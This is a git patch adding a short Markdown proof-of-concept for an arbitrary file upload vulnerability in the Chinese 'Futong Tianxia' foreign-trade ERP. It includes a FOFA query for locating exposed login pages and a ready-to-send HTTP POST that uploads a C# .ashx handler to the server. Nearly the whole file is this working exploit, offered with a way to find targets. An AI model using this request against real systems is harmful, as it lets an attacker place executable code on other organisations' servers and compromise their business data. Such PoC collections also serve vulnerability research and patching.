From 47dec303b712d43e2ce9f7b7da71ad31f97b3457 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Wed, 17 Apr 2024 20:04:08 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E5=AF=8C=E9=80=9A=E5=A4=A9=E4=B8=8B?=
 =?UTF-8?q?=E5=A4=96=E8=B4=B8ERP=E4=BB=BB=E6=84=8F=E6=96=87=E4=BB=B6?=
 =?UTF-8?q?=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 富通天下外贸ERP任意文件上传漏洞.md | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)
 create mode 100644 富通天下外贸ERP任意文件上传漏洞.md

diff --git a/富通天下外贸ERP任意文件上传漏洞.md b/富通天下外贸ERP任意文件上传漏洞.md
new file mode 100644
index 0000000..b2ae4aa
--- /dev/null
+++ b/富通天下外贸ERP任意文件上传漏洞.md
@@ -0,0 +1,27 @@
+## 富通天下外贸ERP任意文件上传漏洞
+
+## fofa
+```
+title="用户登录_富通天下外贸ERP"
+```
+
+## poc
+```
+POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
+Host: 
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
+Content-Type: application/x-www-form-urlencoded
+ 
+<% @ webhandler language="C#" class="AverageHandler" %>
+using System;
+using System.Web;
+public class AverageHandler : IHttpHandler
+{
+public bool IsReusable
+{ get { return true; } }
+public void ProcessRequest(HttpContext ctx)
+{
+ctx.Response.Write("hello");
+}
+}
+```